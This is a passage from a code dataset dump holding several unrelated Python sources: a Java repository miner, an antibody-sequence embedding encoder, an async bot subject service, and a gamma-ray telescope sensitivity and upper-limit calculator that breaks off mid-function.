1\n","repo_name":"European-XFEL/Karabo","sub_path":"src/pythonGui/karabogui/singletons/tests/test_manager.py","file_name":"test_manager.py","file_ext":"py","file_size_in_byte":36815,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"68"} +{"seq_id":"7029776092","text":"import sys\nfrom pydriller import RepositoryMining\nimport csv\nfrom functions import remove_duplicate_commits, dictionary_of_spoon_output\nimport subprocess\n\ncountOfArgs = len(sys.argv)\npathToRepo = None\nif countOfArgs == 2:\n pathToRepo = sys.argv[1]\nelse:\n pathToRepo = '../repository/'\nwith open('output/pathToRepo.csv', 'w') as myFile:\n myFile.write(pathToRepo)\nchanges = []\nfor commit in RepositoryMining(pathToRepo, only_modifications_with_file_types=['.java']).traverse_commits():\n for modification in commit.modifications:\n if modification.change_type is not None:\n extOfFile = modification.filename[modification.filename.find('.') + 1:]\n if extOfFile == 'java' and (modification.change_type.name == 'MODIFY') or \\\n (modification.change_type.name == 'RENAME'):\n changes.append([commit.parents[0], modification.old_path, commit.hash, modification.new_path])\nwith open('output/changes.csv', 'w') as myFile:\n wr = csv.writer(myFile)\n wr.writerows(changes)\nlistOfCommitsToIterate = remove_duplicate_commits(changes)\nwith open('output/inputForSpoon.csv', 'w') as myFile:\n commitsCount = len(listOfCommitsToIterate)\n position = 1\n for key, value in listOfCommitsToIterate.items():\n if position != commitsCount:\n myFile.write(key + \",\" + \",\".join(value) + \"\\n\")\n else:\n myFile.write(key + \",\" + \",\".join(value))\n position += 1\nsubprocess.call('./javaListMethods.groovy')\nwith open('output/outputOfSpoon.csv', 'r') as myFile:\n reader = csv.reader(myFile, delimiter='|')\n spoonOutput = list(reader)\ndictOfSpoonOutput = dictionary_of_spoon_output(spoonOutput)\nresult = list()\nfor change in changes:\n oldCommitHash = change[0]\n newCommitHash = change[2]\n oldFilePath = change[1]\n newFilePath = change[3]\n commonMethods = [method for method in dictOfSpoonOutput[oldCommitHash][oldFilePath] if method in\n dictOfSpoonOutput[newCommitHash][newFilePath]]\n for method in commonMethods:\n if dictOfSpoonOutput[oldCommitHash][oldFilePath][method] != \\\n dictOfSpoonOutput[newCommitHash][newFilePath][method]:\n oldSignature = method+'#'+dictOfSpoonOutput[oldCommitHash][oldFilePath][method]\n newSignature = method+'#'+dictOfSpoonOutput[newCommitHash][newFilePath][method]\n result.append([newCommitHash, newFilePath, oldSignature, newSignature])\nwith open('output/finalReport.csv', 'w') as myFile:\n wr = csv.writer(myFile, delimiter='|')\n wr.writerows(result)\n","repo_name":"farhour/Java-Repository-Miner","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"392018224","text":"from igfold import IgFoldRunner\nimport torch\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nfrom tools import data_parser as dp\nimport pandas as pd\n\nigfold = IgFoldRunner()\n\n\ndef sequence_generator(heavy, light):\n length = len(light)\n\n for i in range(0, length):\n sequences = {\n \"H\": heavy[i],\n \"L\": light[i]\n }\n yield sequences\n\n\ndef seq2BERTy(heavy, light):\n\n \"\"\"\n\n :param heavy: AntibodyFv heavy chain sequence. string\n :param light: AntibodyFv light chain sequence. string\n :return: 512 feature dataset encoded using antiBERTy on concatenated sequences.\n \"\"\"\n\n embed_list = []\n sequence_gen = sequence_generator(heavy, light)\n\n for sequences in sequence_gen:\n emb = igfold.embed(\n sequences=sequences,\n )\n berty = emb.bert_embs\n encoded = torch.sum(berty, dim=1)\n\n embed_list.append(encoded)\n final = torch.cat(embed_list, dim=0)\n\n return final\n\n\ndef bert_csv(data_file):\n \"\"\"\n\n :param data_file: csv file containing Fv antibody sequences and Tm50 data\n :return: csv file containing antiBERTy encoded concatenated sequences.\n \"\"\"\n light, heavy, temp = dp.data_extract(data_file)\n tensor = seq2BERTy(heavy, light)\n encoded_seq = pd.DataFrame(tensor.detach().numpy())\n\n return encoded_seq.to_csv('combined_bert_df.csv', index=False)\n\n\nclass AntiBERTyEncoder(BaseEstimator, TransformerMixin):\n def __init__(self):\n self.igfold = IgFoldRunner()\n\n @classmethod\n def sequence_generator(cls, X):\n heavy, light = X\n sequences = {\"H\": heavy, \"L\": light}\n yield sequences\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n embed_list = []\n sequence_gen = self.sequence_generator(X)\n\n for sequences in sequence_gen:\n emb = self.igfold.embed(\n sequences=sequences,\n )\n berty = emb.bert_embs\n encoded = torch.sum(berty, dim=1)\n\n embed_list.append(encoded)\n final = torch.cat(embed_list, dim=0)\n encoded_seq = pd.DataFrame(final.detach().numpy())\n\n\n return encoded_seq\n\n\nif __name__ == '__main__':\n\n seq = ('ELQMTQSPASLAVSLGQRATISCKASQSVDYDGDSYMNWYQQKPGQPPKLLIYAASNLESGIPARFSGSGSRTDFTLTINPVETDDVATYYCQQSHEDPYTFGGGTKLEIK','LESGAELVKPGASVKLSCKASGYIFTTYWMQWVKQRPGQGLEWIGEIHPSNGLTNYNEKFKSKATLTVDKSSTTAYMQLSSLTSEDSAVYYCSKGRELGRFAYWGQGTLVTVSA')\n\n data72 = pd.read_csv('./data/combined_datasets_72.csv')\n\n selected_features = data72.columns\n\n tensor = AntiBERTyEncoder().transform(seq)\n\n # encoded_seq.to_csv('./data/abYsis_bert_df.csv', index=False)\n","repo_name":"Mike-Skehan/AntibodyFvTm50Predictor","sub_path":"AntiBERTy.py","file_name":"AntiBERTy.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"28404193286","text":"import requests_async as requests\nimport json\nfrom localization.localization import Data\nfrom config import Config\nimport logging\nfrom data.models import Subject, Subtopic\n\n\ndef subject_json_to_obj(json_obj):\n return Subject(\n topic_name=Config.SUBJECT_NAME_DATA[json_obj[\"subject_name\"]],\n subtopics=json_obj[\"subtopics\"]\n )\n\n\ndef subtopic_json_to_obj(json_obj):\n return Subtopic(\n topic_id=json_obj[\"id\"],\n topic_name=json_obj[\"subtopic\"],\n text=json_obj[\"lecture_notes\"]\n )\n\n\nasync def get_subjects_from_api():\n r = await requests.get(Config.API_URL+Config.SUBJECTS_DB)\n data = json.loads(r.text)\n subjects = {}\n for json_subject in data:\n subject = subject_json_to_obj(json_subject)\n subjects[Config.SUBJECT_NAME_DATA[json_subject[\"subject_name\"]]] = subject\n subtopics = {}\n for topic_name, subject in subjects.items():\n for subtopic_id in subject.subtopics:\n r = await requests.get(Config.API_URL+Config.SUBTOPIC_DB+'/'+str(subtopic_id))\n json_subtopic = json.loads(r.text)[0]\n subtopic = subtopic_json_to_obj(json_subtopic)\n subtopics[json_subtopic[\"subtopic\"]] = subtopic\n subtopics[json_subtopic[\"id\"]] = subtopic\n return subjects, subtopics\n\n\nclass SubjectService:\n subjects = {}\n subtopics = {}\n\n async def load_subjects(self):\n logging.info(\"start load synopses\")\n self.subjects, self.subtopics = await get_subjects_from_api()\n logging.info(\"finish load synopses\")\n\n def get_subject_topics(self, topic_name):\n topic_names = []\n for subtopic in self.subjects[topic_name].subtopics:\n topic_names.append(self.subtopics[subtopic].topic_name[0])\n return topic_names\n\n def get_subtopic_text(self, topic_name):\n return self.subtopics[topic_name].text\n\n def is_subtopic_name(self, topic_name):\n return topic_name in self.subtopics\n","repo_name":"akaisar/ent_bot","sub_path":"services/subject_service.py","file_name":"subject_service.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"19060010231","text":"'''\nThis is the hard working code in order to calculate ULs, sensitivities,\nand time to detections.\n'''\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import interpolate\nfrom scipy.optimize import brentq\nfrom scipy import integrate\nimport numpy as np\nimport corner\n\n\ndef upper_limit(t_obs, lambda_lim, a_eff, e_0, plot_resolution=30):\n '''\n This function generates all plots for the command 'ul' from\n input data. It takes:\n\n t_obs in seconds\n lambda_lim from Rolke, Knoetig, ...\n a_eff A path to the file with effective area over true energy after cuts\n plot_resolution a parameter for running tests faster\n\n It returns a dictionary with results.\n '''\n a_eff_interpol = get_effective_area(a_eff)\n\n # make the figures\n phasespace_figure = get_ul_phasespace_figure(\n t_obs,\n lambda_lim,\n a_eff_interpol,\n e_0,\n pixels_per_line=plot_resolution)\n\n spectrum_figure, energy_x, dn_de_y = get_ul_spectrum_figure(\n t_obs,\n lambda_lim,\n a_eff_interpol,\n e_0,\n n_points_to_plot=plot_resolution)\n\n sensitive_energy_figure, gamma_s, e_sens_s = get_sensitive_energy_figure(\n a_eff_interpol\n )\n a_eff_figure = get_effective_area_figure(a_eff_interpol)\n\n figures = {\n 'ul_phasespace': phasespace_figure,\n 'ul_integral_spectral_exclusion_zone': spectrum_figure,\n 'ul_sensitive_energy': sensitive_energy_figure,\n 'ul_effective_area': a_eff_figure\n }\n\n dictionary = {\n 'plots': figures,\n 'data': {\n 'ul_integral_spectral_exclusion_zone':\n np.transpose((energy_x, dn_de_y)),\n 'ul_sensitive_energy':\n np.transpose((gamma_s, e_sens_s))\n }\n }\n\n return dictionary\n\n\ndef sensitivity(sigma_bg, alpha, t_obs, a_eff, e_0, plot_resolution=30):\n '''\n This function generates all plots for the command 'sens' from\n input data. It takes:\n\n sigma_bg in 1/seconds\n alpha on/off exposure ratio\n t_obs observation time in seconds\n a_eff A path to the file with effective area over true energy after cuts\n\n It returns a dictionary with results.\n '''\n a_eff_interpol = get_effective_area(a_eff)\n\n # make the figures\n phasespace_figure = get_sens_phasespace_figure(\n sigma_bg,\n alpha,\n t_obs,\n a_eff_interpol,\n pixels_per_line=plot_resolution)\n\n spectrum_figure, energy_x, dn_de_y = get_sens_spectrum_figure(\n sigma_bg,\n alpha,\n t_obs,\n a_eff_interpol,\n e_0,\n n_points_to_plot=plot_resolution\n )\n\n sensitive_energy_figure, gamma_s, e_sens_s = get_sensitive_energy_figure(\n a_eff_interpol\n )\n a_eff_figure = get_effective_area_figure(a_eff_interpol)\n\n figures = {\n 'sens_phasespace': phasespace_figure,\n 'sens_integral_spectral_exclusion_zone': spectrum_figure,\n 'sens_sensitive_energy': sensitive_energy_figure,\n 'sens_effective_area': a_eff_figure\n }\n\n dictionary = {\n 'plots': figures,\n 'data': {\n 'sens_integral_spectral_exclusion_zone':\n np.transpose((energy_x, dn_de_y)),\n 'sens_sensitive_energy':\n np.transpose((gamma_s, e_sens_s))\n }\n }\n\n return dictionary\n\n\ndef predict(\n sigma_bg,\n alpha,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff,\n plot_resolution=30\n ):\n '''\n This function generates all plots for the command 'predict' from\n input data. It takes:\n\n sigma_bg in 1/seconds\n alpha on/off exposure ratio\n f_0 flux normalization in 1/(cm^2 s TeV)\n df_0 flux normalization error 1 sigma 1/(cm^2 s TeV)\n gamma power law index (<0)\n dgamma power law index error 1 sigma\n e_0 reference energy in TeV\n a_eff A path to the file with effective area over true energy after cuts\n\n It returns a dictionary with results.\n '''\n a_eff_interpol = get_effective_area(a_eff)\n\n # make the figures\n phasespace_figure = get_predict_phasespace_figure(\n sigma_bg,\n alpha,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff_interpol,\n pixels_per_line=plot_resolution)\n\n t_obs_samples = get_t_obs_samples(\n sigma_bg,\n alpha,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff_interpol,\n n_samples=plot_resolution*3000\n )\n\n t_obs_est = get_t_obs_est_from_samples(t_obs_samples)\n\n spectrum_figure, energy_x, dn_de_ys = get_predict_spectrum_figure(\n sigma_bg,\n alpha,\n t_obs_est,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff_interpol,\n n_points_to_plot=plot_resolution\n )\n\n sensitive_energy_figure, gamma_s, e_sens_s = get_sensitive_energy_figure(\n a_eff_interpol\n )\n a_eff_figure = get_effective_area_figure(a_eff_interpol)\n\n figures = {\n 'predict_phasespace': phasespace_figure,\n 'predict_integral_spectral_exclusion_zone': spectrum_figure,\n 'predict_sensitive_energy': sensitive_energy_figure,\n 'predict_effective_area': a_eff_figure\n }\n\n dictionary = {\n 'plots': figures,\n 'data': {\n 'predict_integral_spectral_exclusion_zone':\n np.vstack((energy_x, dn_de_ys)).T,\n 'predict_sensitive_energy':\n np.transpose((gamma_s, e_sens_s)),\n 'predict_t_obs_est':\n np.transpose(t_obs_est)\n }\n }\n\n return dictionary\n\n\ndef get_effective_area_test_relative_paths():\n '''\n Helper function to get the paths of stored effective areas\n '''\n a_eff_test_relative_paths = [\n '/resources/A_eff/MAGIC_lowZd_Ecut_300GeV.dat',\n '/resources/A_eff/MAGIC_medZd_Ecut_300GeV.dat',\n '/resources/A_eff/VERITAS_V5_lowZd_McCutcheon.dat',\n '/resources/A_eff/uhe_test_aperture.dat',\n '/resources/A_eff/AeffEnergy_P8R2_OnAxis_Total.dat'\n ]\n return a_eff_test_relative_paths\n\n\ndef get_effective_area(a_eff_path):\n '''\n Function to get the interpolated effective area\n from a file path\n '''\n a_eff_data = np.loadtxt(a_eff_path, delimiter=',')\n\n # interpolate the data points, every energy outside definition range\n # from the data file is assumed to have 0 effective area\n a_eff_interpol = interpolate.interp1d(\n a_eff_data[:, 0],\n a_eff_data[:, 1],\n bounds_error=False,\n fill_value=0.\n )\n\n return a_eff_interpol\n\n\ndef prepare_phasespace_meshes(\n t_obs, lambda_lim, a_eff_interpol, e_0, pixels_per_line, gamma=-2.6):\n '''\n determine parameter plot ranges\n '''\n f_0 = get_ul_f_0(t_obs, lambda_lim, a_eff_interpol, e_0, gamma)\n f_0_limits, gamma_limits = get_f_0_gamma_limits(f_0, gamma)\n f_0_mesh, gamma_mesh = get_f_0_gamma_mesh(\n f_0_limits,\n gamma_limits,\n pixels_per_line)\n return f_0_mesh, gamma_mesh\n\n\ndef get_ul_phasespace_figure(\n t_obs,\n lambda_lim,\n a_eff_interpol,\n e_0=1.,\n pixels_per_line=30):\n '''\n Function to generate the plot of average counts\n lambda_s in the phase space of the power law.\n It will indicate the limit lambda_lim in the same plot.\n '''\n figure = plt.figure()\n\n f_0_mesh, gamma_mesh = prepare_phasespace_meshes(\n t_obs, lambda_lim, a_eff_interpol, e_0, pixels_per_line)\n\n plot_lambda_s_mesh(\n t_obs,\n lambda_lim,\n a_eff_interpol,\n e_0,\n f_0_mesh,\n gamma_mesh\n )\n\n return figure\n\n\ndef get_ul_spectrum_figure(\n t_obs, lambda_lim, a_eff_interpol, e_0, n_points_to_plot=21\n ):\n '''\n Get the integral spectral exclusion zone for the 'ul' command\n '''\n figure = plt.figure()\n\n energy_x, dn_de_y = plot_ul_spectrum_figure(\n t_obs,\n lambda_lim,\n a_eff_interpol,\n e_0,\n n_points_to_plot\n )\n\n return figure, energy_x, dn_de_y\n\n\ndef get_sens_phasespace_figure(\n sigma_bg, alpha, t_obs, a_eff_interpol, e_0=1., pixels_per_line=30):\n '''\n This command produces a phase space figure and fills it with\n time to detection for given telescope parameters\n '''\n figure = plt.figure()\n\n s_lim = sigma_lim_li_ma_criterion(sigma_bg, alpha, t_obs)\n lambda_lim = s_lim*t_obs\n\n f_0_mesh, gamma_mesh = prepare_phasespace_meshes(\n t_obs, lambda_lim, a_eff_interpol, e_0, pixels_per_line)\n\n plot_t_obs_mesh(\n sigma_bg,\n alpha,\n a_eff_interpol,\n e_0,\n f_0_mesh,\n gamma_mesh,\n t_obs=t_obs\n )\n\n return figure\n\n\ndef get_sens_spectrum_figure(\n sigma_bg, alpha, t_obs, a_eff_interpol, e_0, n_points_to_plot=21):\n '''\n This command produces a spectrum figure and fills it with the\n integral spectral exclusion zone for a given observation\n time and telescope parameters\n '''\n figure = plt.figure()\n\n energy_x, dn_de_y = plot_sens_spectrum_figure(\n sigma_bg, alpha, t_obs, a_eff_interpol, e_0, n_points_to_plot\n )\n\n return figure, energy_x, dn_de_y\n\n\ndef get_predict_phasespace_figure(\n sigma_bg,\n alpha,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff_interpol,\n pixels_per_line=30\n ):\n '''\n This function creates a figure and fills it with\n relevant phase space functions, such as 2D confidence\n intervals representing the source emission and\n time to detection\n '''\n # first calculate the time to detection\n # assuming for the mode of the emission parameters\n t_obs = t_obs_li_ma_criterion(\n f_0 * effective_area_averaged_flux(\n gamma,\n e_0,\n a_eff_interpol\n ),\n sigma_bg,\n alpha,\n )\n\n phasespace_figure = get_sens_phasespace_figure(\n sigma_bg,\n alpha,\n t_obs,\n a_eff_interpol,\n e_0=e_0,\n pixels_per_line=pixels_per_line)\n\n plot_predict_contours_from_phasespace_parameters(\n f_0,\n df_0,\n gamma,\n dgamma\n )\n\n return phasespace_figure\n\n\ndef get_predict_spectrum_figure(\n sigma_bg,\n alpha,\n t_obs_est,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff_interpol,\n n_points_to_plot=21\n ):\n '''\n This function generates a spectral plot from\n precalculated times of observation until detection\n for a specific telescope analysis\n\n It shows the integral spectral exclusion zone\n for the median time until detection, and the\n integral spectral exclusion zones for half that time\n and double that time.\n '''\n spectrum_figure = plt.figure()\n\n n_samples = 100\n energy_range = get_energy_range(a_eff_interpol)\n phasespace_samples = get_phasespace_samples(\n f_0,\n df_0,\n gamma,\n dgamma,\n n_samples\n )\n plot_source_emission_spectrum_with_uncertainties(\n phasespace_samples,\n e_0,\n energy_range\n )\n\n energy_x, dn_de_y0 = plot_sens_spectrum_figure(\n sigma_bg,\n alpha, t_obs_est[0], a_eff_interpol, n_points_to_plot, e_0, 'k:'\n )\n __a, dn_de_y1 = plot_sens_spectrum_figure(\n sigma_bg,\n alpha, t_obs_est[1], a_eff_interpol, n_points_to_plot, e_0, 'k'\n )\n __a, dn_de_y2 = plot_sens_spectrum_figure(\n sigma_bg,\n alpha, t_obs_est[2], a_eff_interpol, n_points_to_plot, e_0, 'k:'\n )\n\n # correct the title time to detection\n median_string_num = '{0:3.3e}'.format(t_obs_est[1]/3600.)\n plus_string_num = '{0:3.3e}'.format((t_obs_est[2]-t_obs_est[1])/3600.)\n minus_string_num = '{0:3.3e}'.format((t_obs_est[1]-t_obs_est[0])/3600.)\n\n plusminus_string = (r't$_{est}$ = (' +\n median_string_num +\n ' +' +\n plus_string_num +\n ' -' +\n minus_string_num +\n ') h')\n\n plt.title('Int. Sp. Excl. Zone, ' + plusminus_string)\n dn_de_ys = np.array([dn_de_y0, dn_de_y1, dn_de_y2])\n return spectrum_figure, energy_x, dn_de_ys\n\n\ndef plot_predict_contours_from_phasespace_parameters(\n f_0,\n df_0,\n gamma,\n dgamma,\n n_samples=100000\n ):\n '''\n This function draws contours from phase space parameters\n '''\n random_data = get_phasespace_samples(\n f_0,\n df_0,\n gamma,\n dgamma,\n n_samples=n_samples\n )\n plot_contours_from_sample(random_data)\n\n\ndef get_phasespace_samples(\n f_0,\n df_0,\n gamma,\n dgamma,\n n_samples,\n ):\n '''\n Function to return a sample from the phase space according to\n the given parameters and parameter uncertainties\n assuming there can only be:\n f_0 > 0\n gamma < 0\n '''\n mean = [f_0*1e12, gamma] # scale f_0, later downscale again\n # diagonal covariance\n cov = [[df_0*1e12*df_0*1e12, 0.], [0., dgamma*dgamma]]\n random_data = np.random.multivariate_normal(mean, cov, n_samples*2)\n random_data[:, 0] = random_data[:, 0]/1e12\n\n # truncate to physical values\n random_data = random_data[random_data[:, 0] > 0] # f_0\n random_data = random_data[random_data[:, 1] < 0] # gamma\n\n if len(random_data) < n_samples:\n raise IndexError(\n 'less than 50 percent of the sample from the highest density' +\n 'confidence interval in the physical region f_0>0 && Gamma<0' +\n '-> time to detection is uncertain/ source may be undetectable')\n\n return random_data[:n_samples]\n\n\ndef get_t_obs_samples(\n sigma_bg,\n alpha,\n f_0,\n df_0,\n gamma,\n dgamma,\n e_0,\n a_eff_interpol,\n n_samples=100000,\n thinning=1./400.\n ):\n '''\n Function to calculate samples of the time to detection\n '''\n phasespace_samples = get_phasespace_samples(\n f_0,\n df_0,\n gamma,\n dgamma,\n n_samples\n )\n\n t_obs_samples = np.array([\n t_obs_li_ma_criterion(\n point[0] * effective_area_averaged_flux(\n point[1],\n e_0,\n a_eff_interpol\n ),\n sigma_bg,\n alpha)\n for point\n in phasespace_samples[:(int(n_samples*thinning)+1)]\n ])\n\n return t_obs_samples\n\n\ndef get_t_obs_est_from_samples(\n t_obs_samples,\n lower_percentile=16.,\n upper_percentile=84.\n ):\n '''\n Function to calculate the asymmetrical 68% CI\n from a sample of times to detection\n '''\n t_obs_est = np.array([\n np.percentile(t_obs_samples, lower_percentile),\n np.percentile(t_obs_samples, 50.),\n np.percentile(t_obs_samples, upper_percentile),\n ])\n return t_obs_est\n\n\ndef get_sensitive_energy_figure(a_eff_interpol):\n '''\n Get a plot showing the sensitive energy\n given the effective area a_eff_interpol\n '''\n figure = plt.figure()\n\n gammas, e_sens = plot_sensitive_energy(a_eff_interpol)\n\n return figure, gammas, e_sens\n\n\ndef get_effective_area_figure(a_eff_interpol):\n '''\n Get a plot showing the effective area\n referenced by a_eff_interpol\n '''\n figure = plt.figure()\n\n plot_effective_area(a_eff_interpol)\n\n return figure\n\n\ndef get_energy_range(a_eff_interpol):\n '''\n Get the definition energy range of the effective area\n for integration and plotting purposes.\n '''\n return np.power(10, np.array([\n a_eff_interpol.x.min()*0.999,\n a_eff_interpol.x.max()*1.001\n ]))\n\n\ndef get_f_0_gamma_limits(f_0, gamma):\n '''\n Get a nice box power law phase space box for plotting\n '''\n f_0_limits = [f_0*0.1, f_0*1.9]\n gamma_limits = [gamma-1., gamma+1.]\n if gamma_limits[1] > 0:\n gamma_limits[1] = 0.\n return f_0_limits, gamma_limits\n\n\ndef get_f_0_gamma_mesh(f_0_limits, gamma_limits, pixels_per_line):\n '''\n Generate two numpy.meshgrids for 2D plotting\n '''\n f_0_stepsize = (f_0_limits[1]-f_0_limits[0])/pixels_per_line\n gamma_stepsize = (gamma_limits[1]-gamma_limits[0])/pixels_per_line\n\n f_0_stepsize = f_0_stepsize+f_0_stepsize*1e-9\n gamma_stepsize = gamma_stepsize+gamma_stepsize*1e-9\n\n f_0_buf = np.arange(f_0_limits[0], f_0_limits[1], f_0_stepsize)\n gamma_buf = np.arange(gamma_limits[1], gamma_limits[0], -gamma_stepsize)\n f_0_mesh, gamma_mesh = np.meshgrid(f_0_buf, gamma_buf)\n return f_0_mesh, gamma_mesh\n\n\ndef get_ul_f_0(t_obs, lambda_lim, a_eff_interpol, e_0, gamma):\n '''\n Calculate f_0 on the exclusion line from solving the boundary condition\n lambda_lim = lambda_s\n '''\n return lambda_lim / t_obs / effective_area_averaged_flux(\n gamma, e_0, a_eff_interpol)\n\n\ndef sensitive_energy(gamma, a_eff_interpol):\n '''\n Function returning the sensitive energy, given gamma\n and the effective area\n '''\n mu = ln_energy_weighted(\n gamma,\n a_eff_interpol\n )/effective_area_averaged_flux(\n gamma,\n 1.,\n a_eff_interpol\n )\n return np.exp(mu)\n\n\ndef get_useful_e_0(a_eff_interpol):\n '''\n This function will try to yield a useful e_0\n value for anchoring the power law on.\n This is calculated from the effective area definition range\n '''\n\n # round to the next order of magnitude\n log10_e_0_suggestion = round(mean_log10_energy(a_eff_interpol), 0)\n return 10**(log10_e_0_suggestion) / 10\n\n\ndef get_gamma_from_sensitive_energy(E_sens, a_eff_interpol):\n '''\n numerical inverse of the sensitive energy\n '''\n gamma_min = -30.\n gamma_max = -0.05\n\n gamma_num = brentq(lambda x: (sensitive_energy(\n gamma=x,\n a_eff_interpol=a_eff_interpol\n ) - E_sens\n ), gamma_min, gamma_max\n )\n\n return gamma_num\n\n\ndef effective_area_averaged_flux(gamma, e_0, a_eff_interpol):\n '''\n I define this in the paper as c(gamma)\n '''\n energy_range = get_energy_range(a_eff_interpol)\n integrand = lambda x: power_law(\n x,\n f_0=1.,\n gamma=gamma,\n e_0=e_0\n )*a_eff_interpol(np.log10(x))\n return integrate.quad(\n integrand,\n energy_range[0],\n energy_range[1],\n limit=10000,\n full_output=1,\n points=[energy_range[0], energy_range[0]*10]\n )[0]\n\n\ndef ln_energy_weighted(gamma, a_eff_interpol):\n '''\n For calculating the sensitive energy.\n This function gets the unnormalized mean ln(energy)\n integrated over the power law flux and sensitive area\n '''\n f_0 = 1.\n energy_range = get_energy_range(a_eff_interpol)\n integrand = lambda x: power_law(\n x,\n f_0=f_0,\n gamma=gamma,\n e_0=1.\n )*a_eff_interpol(np.log10(x))*np.log(x)\n return integrate.quad(\n integrand,\n energy_range[0],\n energy_range[1],\n limit=10000,\n full_output=1,\n points=[energy_range[0], energy_range[0]*10]\n )[0]\n\n\ndef mean_log10_energy(a_eff_interpol):\n '''\n For calculating mean of the log10 of the energy\n over the effective area, to estimate a useful e_0\n '''\n energy_range = get_energy_range(a_eff_interpol)\n integrand_numerator = lambda x: a_eff_interpol(np.log10(x))*np.log10(x)\n integrand_denominator = lambda x: a_eff_interpol(np.log10(x))\n\n numerator = integrate.quad(\n integrand_numerator,\n energy_range[0],\n energy_range[1],\n limit=10000,\n full_output=1,\n points=[energy_range[0], energy_range[0]*10]\n )[0]\n denominator = integrate.quad(\n integrand_denominator,\n energy_range[0],\n energy_range[1],\n limit=10000,\n full_output=1,\n points=[energy_range[0], energy_range[0]*10]\n )[0]\n\n return numerator/denominator\n\n\ndef power_law(energy, f_0, gamma, e_0=1.):\n '''\n A power law function as defined in the paper\n '''\n return f_0*(energy/e_0)**(gamma)\n\n\ndef plot_effective_area(a_eff_interpol, style='k', label=''):\n '''\n fill a plot with the effective energy from the supplied\n interpolated data\n '''\n start = a_eff_interpol.x.min()\n stop = a_eff_interpol.x.max()\n samples = 1000\n\n energy_samples = np.linspace(start, stop, samples)\n area_samples = np.array([\n a_eff_interpol(energy)\n for energy\n in energy_samples\n ])\n plt.plot(np.power(10, energy_samples), area_samples/10000.,\n style,\n label=label)\n\n plt.loglog()\n plt.title('Effective Area')\n plt.xlabel('Energy / TeV')\n plt.ylabel('A$_{eff}$ / m$^2$')\n return\n\n\ndef plot_sensitive_energy(a_eff_interpol):\n '''\n fill a sensitive energy plot figure\n '''\n gamma_range = [-5., -0.5]\n stepsize = 0.1\n gammas = np.arange(gamma_range[0], gamma_range[1]+stepsize, stepsize)\n e_sens = np.array([sensitive_energy(i, a_eff_interpol) for i in gammas])\n\n plt.plot(gammas, e_sens, 'k')\n\n plt.title('sensitive energy E$_{sens}$($\\\\Gamma$)')\n plt.semilogy()\n plt.ylabel('E$_{sens}$ / TeV')\n plt.xlabel('$\\\\Gamma$')\n\n return gammas, e_sens\n\n\ndef plot_ul_spectrum_figure(\n t_obs, lambda_lim, a_eff_interpol, e_0, n_points_to_plot, fmt='k', label=''\n ):\n '''\n fill a ul spectrum figure with the integral spectral exclusion zone plot\n '''\n gamma_range = [-5, -0.5]\n\n energy_range = [\n sensitive_energy(gamma_range[0], a_eff_interpol),\n sensitive_energy(gamma_range[1], a_eff_interpol)]\n energy_x = 10**np.linspace(\n np.log10(energy_range[0]),\n np.log10(energy_range[1]),\n n_points_to_plot\n )\n dn_de_y = [integral_spectral_exclusion_zone(\n energy,\n lambda_lim,\n a_eff_interpol,\n t_obs,\n e_0\n )\n for energy\n in energy_x\n ]\n dn_de_y = np.array(dn_de_y)\n\n plt.plot(energy_x, dn_de_y, fmt, label=label)\n plt.loglog()\n plt.title('Integral Spectral Exclusion Zone, t' +\n ('={0:1.1e} h'.format(t_obs/3600.)))\n plt.xlabel('E / TeV')\n plt.ylabel('dN/dE / [(cm$^2$ s TeV)$^{-1}$]')\n\n return energy_x, dn_de_y\n\n\ndef plot_sens_spectrum_figure(\n sigma_bg, alpha, t_obs, a_eff_interpol, e_0, n_points_to_plot, fmt='k', label=''\n ):\n '''\n fill a spectrum figure with the sensitivity\n integral spectral exclusion zone plot\n '''\n energy_x, dn_de_y = plot_ul_spectrum_figure(\n t_obs,\n sigma_lim_li_ma_criterion(sigma_bg, alpha, t_obs)*t_obs,\n a_eff_interpol,\n e_0,\n n_points_to_plot,\n fmt=fmt,\n label=label)\n\n return energy_x, dn_de_y\n\n\ndef plot_lambda_s_mesh(\n t_obs,\n lambda_lim,\n a_eff_interpol,\n e_0,\n f_0_mesh,\n gamma_mesh,\n n_levels=9,\n linestyles='dashed',\n linewidths=1,\n colors='k'\n ):\n '''\n Function to get the lambda_s plot in the phase space of the power law\n '''\n pixels_per_line = np.shape(f_0_mesh)[0]\n\n lambda_s = np.array([[t_obs*f_0_mesh[i, j]*effective_area_averaged_flux(\n gamma_mesh[i, j],\n e_0=e_0,\n a_eff_interpol=a_eff_interpol\n ) for j in range(pixels_per_line)] for i in range(pixels_per_line)])\n\n levels = np.array([lambda_lim/((1.5)**(int(n_levels/2)-i))\n for i in range(n_levels)])\n limit_index = np.where(levels == lambda_lim)[0][0]\n linestyles = [linestyles for i in range(n_levels)]\n linestyles[limit_index] = 'solid'\n linewidths = [linewidths for i in range(n_levels)]\n linewidths[limit_index] = 2\n\n cset = plt.contour(\n f_0_mesh,\n gamma_mesh,\n lambda_s,\n levels=levels,\n linestyles=linestyles,\n linewidths=linewidths,\n colors=colors\n )\n\n plt.clabel(cset, inline=True, fmt='%1.1f', fontsize=10)\n\n plt.title(\n 'signal counts per {0:1.1e} h, E$_0$={1:1.1e} TeV assuming power law'.\n format(t_obs/3600., e_0)\n )\n plt.xlabel('$f_0$ / [(cm$^2$ s TeV)$^{-1}$]')\n plt.ylabel('$\\\\Gamma$')\n return lambda_s\n\n\ndef plot_t_obs_mesh(\n sigma_bg,\n alpha,\n a_eff_interpol,\n e_0,\n f_0_mesh,\n gamma_mesh,\n 